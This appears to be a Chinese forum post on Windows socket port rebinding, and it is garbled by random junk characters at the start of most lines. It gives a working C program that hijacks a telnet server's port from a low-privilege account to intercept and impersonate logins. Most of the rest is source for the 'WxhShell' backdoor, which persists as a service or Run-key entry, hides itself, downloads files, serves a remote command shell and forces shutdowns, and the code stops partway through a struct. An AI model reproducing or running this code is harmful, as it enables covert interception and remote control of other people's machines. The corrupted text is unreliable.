在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^dJ/>?1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Nv{r`J. 4nN%5c~= saddr.sin_family = AF_INET;
9r+]V= PxhB=i!'$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kXFgvIpg< }*4 XwUM e bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/EZF5_`bT MN}@EQvW== 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&}_E~jKK 4onRO!G, 这意味着什么?意味着可以进行如下的攻击:
w4\b^iJz f R$E*Jd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/. k4Y !_3Rd S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^i&sQQ({ a^hDxeG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xX.fN7[ Y6~/H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s5_[[:c=^ 'vq-~y5^# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$,ZBK6CT y'?ksow 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#2<.0@@
TI $b,o3eC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dMK|l JS]6jUB<B #include
/o Q^j'v #include
9D#"Ey #include
V^Z"FwWk #include
6 9_etv DWORD WINAPI ClientThread(LPVOID lpParam);
A.8{LY; int main()
hsr,a{B%$ {
LmE%`qNg WORD wVersionRequested;
2Dgulx5kGZ DWORD ret;
o?BcpWp WSADATA wsaData;
:s`~m;Y9? BOOL val;
r-&Rjg SOCKADDR_IN saddr;
DgQw`D)+ SOCKADDR_IN scaddr;
H`odQkZ! int err;
%C^U?m` SOCKET s;
:Q@=;P2 SOCKET sc;
ZCsL%( int caddsize;
FH:^<^M HANDLE mt;
1$2'N~`#U
DWORD tid;
dtD)VNkBZ wVersionRequested = MAKEWORD( 2, 2 );
e"Kg/*Ji1 err = WSAStartup( wVersionRequested, &wsaData );
`a2%U/U if ( err != 0 ) {
SIQ 7oxS4 printf("error!WSAStartup failed!\n");
q$6fb)2I]e return -1;
"Qj;pqR }
r%QTUuRXC3 saddr.sin_family = AF_INET;
|3j'HN5S \0?^%CD+@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|)`<D MHar9)$} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cBs:7Pnp% saddr.sin_port = htons(23);
COvcR.*0F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}q7rR:g {
;;#28nV printf("error!socket failed!\n");
//T1e7) return -1;
`}<x"f7.z }
@Cg%7AF val = TRUE;
Z7>pz:, //SO_REUSEADDR选项就是可以实现端口重绑定的
AWsy9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>1u!(-A {
tl5}#uJ printf("error!setsockopt failed!\n");
Qa-]IKOs return -1;
^'9:n\SKQ }
!ZlBM{C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Jm0o[4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
.hO) R. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/E8{:>2 Jse;@K5y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
CEbZj
z| {
aly1=j ret=GetLastError();
^~\cx75D printf("error!bind failed!\n");
]'+PJdA return -1;
c4H5[LPF }
_nW{Q-nh listen(s,2);
a
k&G=a6^ while(1)
vU=+ {
O_-Lm4g?4 caddsize = sizeof(scaddr);
ixc~DV+@[ //接受连接请求
MtWzGE=? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R
<Mvwu if(sc!=INVALID_SOCKET)
bn$a7\X- {
ffDh0mDN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
wyG7SA if(mt==NULL)
6_xPk`m {
JAEn
72 printf("Thread Creat Failed!\n");
Y.FqWJP=p break;
n~`1KC4 }
KA^r,Iw }
'VVEd[ CloseHandle(mt);
;QZ}$8D 6Q }
E&js`24 & closesocket(s);
@q8h'@sX WSACleanup();
_OR@S%$ return 0;
l@:|OGD;8 }
9Q)9*nHe DWORD WINAPI ClientThread(LPVOID lpParam)
!Miw.UmPm {
Y'n+,g SOCKET ss = (SOCKET)lpParam;
j'xk[bM SOCKET sc;
F<R+]M:fa unsigned char buf[4096];
fSR+~Vy SOCKADDR_IN saddr;
x$p_mWC long num;
M`m-@z DWORD val;
DNYJR]> DWORD ret;
D=ZH? d //如果是隐藏端口应用的话,可以在此处加一些判断
"}/$xOl" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:<Z>?x saddr.sin_family = AF_INET;
%4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,e]|[,r#5 saddr.sin_port = htons(23);
uKOsYN%D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\Z~|ry0v{d {
f&5'1tG printf("error!socket failed!\n");
cviPCjM return -1;
kF,_o/Jc }
Cf&.hod val = 100;
v2ab if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QY)hMo=|o8 {
R# 8.] ret = GetLastError();
Z@i"/~B|4\ return -1;
pGO=3=O }
quky m3F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b"J J3$D {
Wra$ ret = GetLastError();
Xu[(hT6 return -1;
qhE1
7Hf }
816OV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
w^/jlddF {
CN(}0/ printf("error!socket connect failed!\n");
[9c|!w^F closesocket(sc);
c}$C=s5 h} closesocket(ss);
l:'\3-2a return -1;
a%FM)/oI|T }
0-VC$)S while(1)
J/T$.*X {
|:[
[w&R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
IXA3G7$) //如果是嗅探内容的话,可以再此处进行内容分析和记录
V$OZC;4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
cUB+fH<B2 num = recv(ss,buf,4096,0);
}hoyjzv]L if(num>0)
0UbY0sYo send(sc,buf,num,0);
Pjvzefp else if(num==0)
!=/wpsH break;
;kE|Vx num = recv(sc,buf,4096,0);
Of@LEEh6 if(num>0)
\x(ILk|'c send(ss,buf,num,0);
[v%j? else if(num==0)
p$S\l] , break;
f[wA]& }
vGIe"$hNh closesocket(ss);
C]- !uLy closesocket(sc);
qcWY8sYf return 0 ;
.5s#JL }
gS
VWv9+ 78u9> H iYPlgt/Y! ==========================================================
vGST{Lz; eI@nskq# 下边附上一个代码,,WXhSHELL
@Q%9b )\\ AP:(/@K| ==========================================================
a7~%( L@r e]!`Cl-f80 #include "stdafx.h"
9P7^*f:E AJJa<c+j #include <stdio.h>
P #PRzt #include <string.h>
7kT&}`g. #include <windows.h>
G*y!
Q #include <winsock2.h>
g]mR;T3 #include <winsvc.h>
rYn)E=FG/ #include <urlmon.h>
8mh@C6U .,l4pA9v #pragma comment (lib, "Ws2_32.lib")
J]-z7<j'] #pragma comment (lib, "urlmon.lib")
B3';Tcs U)sw
Iis E #define MAX_USER 100 // 最大客户端连接数
%@,!
( #define BUF_SOCK 200 // sock buffer
~'.SmXZs #define KEY_BUFF 255 // 输入 buffer
WBd$#V3 uH.1'bR?a #define REBOOT 0 // 重启
?LAiSg=eq #define SHUTDOWN 1 // 关机
eE0'3?q( rm5@dM@ #define DEF_PORT 5000 // 监听端口
3ss0/\3P W{l{O1, #define REG_LEN 16 // 注册表键长度
4^IqHx;bj #define SVC_LEN 80 // NT服务名长度
J=`2{
'l H'_ v // 从dll定义API
nQm
(UN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d"nms\=p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+N>z|T< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*~%QXNn` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%p}xW V . |!?lwBs4 // wxhshell配置信息
~:xR0dqx struct WSCFG {
`=.A])> int ws_port; // 监听端口
k>V~iA char ws_passstr[REG_LEN]; // 口令
.Z9{\tj int ws_autoins; // 安装标记, 1=yes 0=no
0Z&ua char ws_regname[REG_LEN]; // 注册表键名
j0.E!8Ae{ char ws_svcname[REG_LEN]; // 服务名
G^W'mV$xl char ws_svcdisp[SVC_LEN]; // 服务显示名
t4H*&U char ws_svcdesc[SVC_LEN]; // 服务描述信息
Co^^rd@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%Mxc"% w int ws_downexe; // 下载执行标记, 1=yes 0=no
AcQmY? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p`=v$_]?( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
XlaGR2-% k )=Gyv< };
d>1cKmH! IA3m.Vxj ^ // default Wxhshell configuration
M/5+AsT struct WSCFG wscfg={DEF_PORT,
\T:*tgU "xuhuanlingzhe",
!M(3[(Ni 1,
1Pp2wpD4iC "Wxhshell",
"
Z2D@l "Wxhshell",
Gl]z@ZXWIw "WxhShell Service",
Bgf'Hm%r "Wrsky Windows CmdShell Service",
g><itA? "Please Input Your Password: ",
xhw0YDGzf 1,
3cSP1=$* "
http://www.wrsky.com/wxhshell.exe",
*Me&>"N" "Wxhshell.exe"
HU47S };
(p!w`MSv ypy // 消息定义模块
RemjiCE0' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E06)&tF char *msg_ws_prompt="\n\r? for help\n\r#>";
UPGS/Xs]1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
s)-O{5;U char *msg_ws_ext="\n\rExit.";
pkEx.R) char *msg_ws_end="\n\rQuit.";
Y$<p_X, char *msg_ws_boot="\n\rReboot...";
QnH;+k
ln char *msg_ws_poff="\n\rShutdown...";
kVY0
E char *msg_ws_down="\n\rSave to ";
557%^)v :7L[v9' char *msg_ws_err="\n\rErr!";
;4Wz0suf char *msg_ws_ok="\n\rOK!";
z>A;|iL EHF
dQ0gIa char ExeFile[MAX_PATH];
0o]T6 int nUser = 0;
,: Z7P@
HANDLE handles[MAX_USER];
z:)z]6 int OsIsNt;
|rL#HG ohlCuH3 SERVICE_STATUS serviceStatus;
xDO1gnH% SERVICE_STATUS_HANDLE hServiceStatusHandle;
qL2Sv(A Z! D^<5gRK? // 函数声明
I/k/5 int Install(void);
| h%0)_ int Uninstall(void);
D&|HS! int DownloadFile(char *sURL, SOCKET wsh);
v:zKn[;o int Boot(int flag);
s#4Q?<65u void HideProc(void);
%j.
*YvveW int GetOsVer(void);
#QM9!k@9k int Wxhshell(SOCKET wsl);
=j^wa') void TalkWithClient(void *cs);
rL23^}+^` int CmdShell(SOCKET sock);
`-yiVUp1:z int StartFromService(void);
W+'f|J= int StartWxhshell(LPSTR lpCmdLine);
eQ80Kf~ !vGJ7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_M)J{ {?: VOID WINAPI NTServiceHandler( DWORD fdwControl );
/=gU ,c6c=di // 数据结构和表定义
;9)A+bD] SERVICE_TABLE_ENTRY DispatchTable[] =
j%ux,0Y {
}_,={<g {wscfg.ws_svcname, NTServiceMain},
L5n /eg:Q {NULL, NULL}
(yv)zg9 };
Jie=/:& *f
k3IvAXu // 自我安装
#]}]ZE int Install(void)
B]wfDUG {
dz,4);Mg char svExeFile[MAX_PATH];
1pJ?YV HKEY key;
ueu=$.^;g strcpy(svExeFile,ExeFile);
~^v*f / 0y5/ // 如果是win9x系统,修改注册表设为自启动
a'|/=$
if(!OsIsNt) {
n|Gw?@CU7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&]jCoBj+_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w|(
ix;pK RegCloseKey(key);
.,&6 x. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IiZXIG4H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>d<tcaB RegCloseKey(key);
GN=-dLN return 0;
~4=XYYcka }
ZL+46fj }
G4{TJ,~ }
sHm:G_ else {
CW'<Nh 4R28S]Gb // 如果是NT以上系统,安装为系统服务
B/gI~e0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:r+F95e if (schSCManager!=0)
J 7]LMw7 {
K?gO]T{6 SC_HANDLE schService = CreateService
NUM+tg>KM (
;s!GpO7 + schSCManager,
#/o1D^ wscfg.ws_svcname,
G&@vTcF wscfg.ws_svcdisp,
P.'$L\ SERVICE_ALL_ACCESS,
naiy] oY" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ku^0bq}BrH SERVICE_AUTO_START,
@i>o+>V SERVICE_ERROR_NORMAL,
)O$T; U svExeFile,
NzC&ctPk NULL,
w(UZmZb} NULL,
oG'
'my#3 NULL,
n~'cKy)m NULL,
$x;(C[ NULL
&O|qx~( );
UmOK7SPi if (schService!=0)
pL`)^BJ {
z2god 1" CloseServiceHandle(schService);
91:TE8?Z CloseServiceHandle(schSCManager);
Pw/$
}Q9X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
yPT\9"/ strcat(svExeFile,wscfg.ws_svcname);
.(X!*J]G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U~_G *0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?Suv.!wfLl RegCloseKey(key);
E#/vgm=W; return 0;
I^!c1S }
tN-B`d1 }
7-2,|(Xg CloseServiceHandle(schSCManager);
'aJm4W&j }
yYPFk }
g{^(EZ, 4S*7*ak{ return 1;
<c]? }
LhQidvCNJ !y7w~UVs // 自我卸载
@h)X3X int Uninstall(void)
j\TS:F^z {
Xf*}V+&WN HKEY key;
*@[N~:z/ p0@l581 if(!OsIsNt) {
{^6<Ohe4j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_v +At;Y RegDeleteValue(key,wscfg.ws_regname);
a.B<W9$` RegCloseKey(key);
{z*`*
O@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8Lh[>|~= RegDeleteValue(key,wscfg.ws_regname);
-< }#ImTN RegCloseKey(key);
jU_#-<'r return 0;
L;'C5#GN }
?v$1Fc55 }
[A46WF>L }
[K#pU:lTH else {
@2R+?2 j 4KZ)`KPE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&8@
a" if (schSCManager!=0)
c%x.cbu> {
Ufv0Xj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(qg~l@rf if (schService!=0)
u%rB]a$/ {
S<nbNSu6+ if(DeleteService(schService)!=0) {
ah|`),o(k CloseServiceHandle(schService);
X:d[eAu0 CloseServiceHandle(schSCManager);
P(Z\y^S return 0;
<hzuPi@ }
@W\H%VR CloseServiceHandle(schService);
&T[BS; }
$Y<(~E$FX CloseServiceHandle(schSCManager);
T(iL#2^ }
axLO: Q, }
'^~38=FA mBWhC<kKs return 1;
<7yn : }
sZYTpZgW4L Ng+Ge5C9 // 从指定url下载文件
VIg=|Oe), int DownloadFile(char *sURL, SOCKET wsh)
Mp)|5<% {
uW^ W/S%' HRESULT hr;
m`H9^w%W char seps[]= "/";
QliP9-im3 char *token;
XaR(~2 char *file;
g@IYD char myURL[MAX_PATH];
q.69<Rs char myFILE[MAX_PATH];
?&se]\ kq=tL@W`0} strcpy(myURL,sURL);
ff<adl- token=strtok(myURL,seps);
O>sE~~g]? while(token!=NULL)
Ll'!aar, {
\'Ewn8Qv8 file=token;
iWMgU:T token=strtok(NULL,seps);
dX;G[\ }
Q2K)Nl >_ 31n|ScXv GetCurrentDirectory(MAX_PATH,myFILE);
eKek~U& strcat(myFILE, "\\");
"i/3m'<2 strcat(myFILE, file);
s&~.";b
send(wsh,myFILE,strlen(myFILE),0);
d&5GkD.P send(wsh,"...",3,0);
B)L;ja hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Dd$CN&Ca if(hr==S_OK)
Oky9GC.a return 0;
qD/FxR-! else
a@U0s+V&a0 return 1;
v}-j ls {GM8}M~D& }
SWM6+i
p ]#Q'~X W // 系统电源模块
FAP1Bm int Boot(int flag)
hV>@qOl
' {
et0yS%7+?@ HANDLE hToken;
}t9A#GOz TOKEN_PRIVILEGES tkp;
9G=ZB^ ky98Bz% if(OsIsNt) {
{;j@-=pV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>m&r,z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
PmT,*C`/X tkp.PrivilegeCount = 1;
ufWd)Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}%I)bU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9\[A%jp#K@ if(flag==REBOOT) {
gC}D0l[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
SK_i 3? return 0;
_I}rQfPJ }
xtP=/B/ else {
5Pu
F]5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
k7ODQ(*v return 0;
=D6H?K-k! }
C>*]a(5k }
(Jb[_d* else {
8ncgTCH: if(flag==REBOOT) {
%l8nTcL_? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|`yzH$,F return 0;
ewb/Z[4 }
POCF T0R} else {
zO07X*Bw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(6Sf#M return 0;
^XQr`CqI }
V`z2F'vT }
H<6/i@ly U<lCK!85[ return 1;
m+/-SG }
(G:K?o) 8FY/57.W // win9x进程隐藏模块
OY/sCx+c void HideProc(void)
L?5OWVX!v {
YOHYXhc{S n\Y|0\ B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%7oB[2 if ( hKernel != NULL )
$@blP<I {
2o5v{W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uKZe"wN; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#Ua+P(1q FreeLibrary(hKernel);
,lly=OhKb }
%wp#vO-$ ,3{z_Rax- return;
n/3gx4.g }
t"@:a
Y" _,M:"3;Z // 获取操作系统版本
#j{!&4M int GetOsVer(void)
L('G1J} {
d#9"_{P OSVERSIONINFO winfo;
$N#f)8v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
' 1aU0< GetVersionEx(&winfo);
fuxBoB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"A_WU| return 1;
>cPB:kD' else
-\`n{$OR return 0;
2S\~ }
_ .%\czO M7(vI4V // 客户端句柄模块
0Up@+R2 int Wxhshell(SOCKET wsl)
G/Xa`4"_ {
\
l+RX* SOCKET wsh;
%#Vn?zr|~ struct sockaddr_in client;
Zbp ByRyN DWORD myID;
!m#cneV 'sL>U$( while(nUser<MAX_USER)
a9q68 {
{t$
vsR int nSize=sizeof(client);
Odr@9MJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Upr:sB if(wsh==INVALID_SOCKET) return 1;
61Nj&1Ze $e|G#mMd- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w\'Zcw,d if(handles[nUser]==0)
rZy38Wo closesocket(wsh);
~{[~ =~\u else
u|=G#y;3 nUser++;
eYurg6Ob~ }
q)ygSOtj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)-9G*3
0O>8DX return 0;
Xz=MM0o }
w49Wl>M 8E /]k\ // 关闭 socket
SrN;S kS void CloseIt(SOCKET wsh)
Es kh=xA { {
1@Bq-2OD4 closesocket(wsh);
j}chU'if nUser--;
^ZFbp@#U ExitThread(0);
~4wbIE_rN }
;C%D+"l1g }B_n}<tjD // 客户端请求句柄
~$f+]7 void TalkWithClient(void *cs)
(9BjZ&ej {
?J+[|*'yK ~u&3Ki*x SOCKET wsh=(SOCKET)cs;
0*%j6*XDq9 char pwd[SVC_LEN];
3R?7&oXvH char cmd[KEY_BUFF];
5( lE$& char chr[1];
9jiZtwRpk int i,j;
DFs
J}`
$ QJo) while (nUser < MAX_USER) {
!GMb~ n]x4twZ if(wscfg.ws_passstr) {
JBa=R^k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YizJT0$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9o P8| <+ //ZeroMemory(pwd,KEY_BUFF);
, {7wvXP i=0;
&{* [7Ad while(i<SVC_LEN) {
}Xs=x6Mj j?6%=KuX< // 设置超时
^" ywltW> fd_set FdRead;
~fs{Ff' struct timeval TimeOut;
f3-=?Z FD_ZERO(&FdRead);
#GK&{)$ FD_SET(wsh,&FdRead);
f&(u[W TimeOut.tv_sec=8;
;tI=xNre`1 TimeOut.tv_usec=0;
FpfOxF6A3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!xMyk>%2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I?"cEp _{,e-_hYM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
MyuFZ7Q4$ pwd
=chr[0]; mY.[AIB
if(chr[0]==0xd || chr[0]==0xa) { sRo%=7Z
pwd=0; [S":~3^B6
break; 3bpbk
} )KR9al f3
i++; !5 %c`4
} _p7c<$;
Y-n*K'
// 如果是非法用户,关闭 socket GS~jNZx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Md;=,a:6
} Cdiu*#f
m$A|Sx&sG$
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f6^H
Q1SSt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VbK| VON[
}MrRsvN
while(1) { S'V0c%'QQV
DI**fywu[3
ZeroMemory(cmd,KEY_BUFF); 9wC q
@y9_\mX!s
// 自动支持客户端 telnet标准 E<'3?(D9hL
j=0; /l0\SVwa>
while(j<KEY_BUFF) { Ve7[U_"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >t?;*K\x"
cmd[j]=chr[0]; " 9 h]P^
if(chr[0]==0xa || chr[0]==0xd) { eqs.zL
cmd[j]=0; 9<P1?Q
break; !3 $Ph
} k5=0L_xc
j++; ,;H)CUe1"
} qbHb24I
ve=oH;zf
// 下载文件 Gs.id^Sf
if(strstr(cmd,"http://")) { Kw&J<H
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'wLQ9o%=p|
if(DownloadFile(cmd,wsh)) ^{-J Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +QuaQ% lA
else P$Xig
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k%/Z.4vQG
} qWtvo';3
else { n'1pNL:
xgL*O>l)
switch(cmd[0]) { a~7`;Ar
(5;w^E9*n;
// 帮助 1Xt%O86
case '?': { [$]vi`c2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d;9 X1`"
break; QOEcp% 6I}
} x g/3*rL
// 安装 ?W9$=
case 'i': { AlIFTNg:"
if(Install()) i=.zkIjSh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cz+>S3v M
else 7:R8QS9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yiSv#wD9
break; <:2El9l!
} $dgY#ST%
// 卸载 }9aYU;9D
case 'r': { y!."FoQ
if(Uninstall()) %rzC+=*;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7$a,pNDw
else 65\'(99yU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *rK}Ai
break; w8kp6_i'
} 7\rz*
// 显示 wxhshell 所在路径 N{tNe-5
case 'p': { ckBcwIXlP&
char svExeFile[MAX_PATH]; 8U*}D~%!
strcpy(svExeFile,"\n\r"); siZ w-.
strcat(svExeFile,ExeFile); .4^Ep\\
send(wsh,svExeFile,strlen(svExeFile),0); cc*A/lD
break; %/CCh;N#
} a"0Xam
// 重启 S
j)&!
case 'b': { 0j7W\'!t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~M3`mO+^U
if(Boot(REBOOT)) #O/ihRoaO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}uOht}
o
else { /d&zE|!
closesocket(wsh); HO/Ij
ExitThread(0); ,H2[["1DH
} [:
break; i!LEA/"V
} Z[RE|l{
// 关机 =[FNZ:3
case 'd': { 200/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kKr7c4q
if(Boot(SHUTDOWN)) 'mXf8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A/|To!R
else { c]v$C&FX
closesocket(wsh); (xBS~}e
ExitThread(0); (Gp/^[.%&
} U
]`SM6
break; eqb8W5h'
} 3J32W@}.K
// 获取shell Ya<S/9c
case 's': { G<# 9`
CmdShell(wsh); }Ry:})
closesocket(wsh); S4aN7.'Q
ExitThread(0); NBwxN
break; SS[jk
} zp:kdN7!^
// 退出 ARGtWW~:
case 'x': { C}<j8a?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3vfm$sx@
CloseIt(wsh); uPr'by
break; 2w>WS#
} PTWP7A[
// 离开 WUm83"
case 'q': { D>|m8-@]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lE=(6Q
closesocket(wsh); yl/-!
WSACleanup(); zRd^Uks
exit(1); o|YY,G=C
break; (/UW}$] h
} Hm!ffqO_
} :hr% 6K7
} dlmF?N|EC
~[l6;bn
// 提示信息 fb3(9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4{=zO(>
} l\xcR]O
} hOw
S.pL^Ru
return; Q1yMI8
} tPB r{
_y*@Hj
// shell模块句柄 Mrysy)x
int CmdShell(SOCKET sock) %N$,1=0*
{ D!Pv`wm
STARTUPINFO si; v W=$C
ZeroMemory(&si,sizeof(si)); @M-i$
q[4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xl8=y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]rGZ
PROCESS_INFORMATION ProcessInfo; 5Iine n3>
char cmdline[]="cmd"; N4]QmRX/j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "HX,RJ
@^K
return 0; XHs>Q>`
} xucrp::g
wCw-EGLR
// 自身启动模式 %Xc50n2Z
int StartFromService(void) sQUJ]h
{ "Zm**h.t
typedef struct & mwQj<Z
{ d5Hp&tm
DWORD ExitStatus; +a1Or
DWORD PebBaseAddress; H3\4&q
DWORD AffinityMask; .'foS>W=t
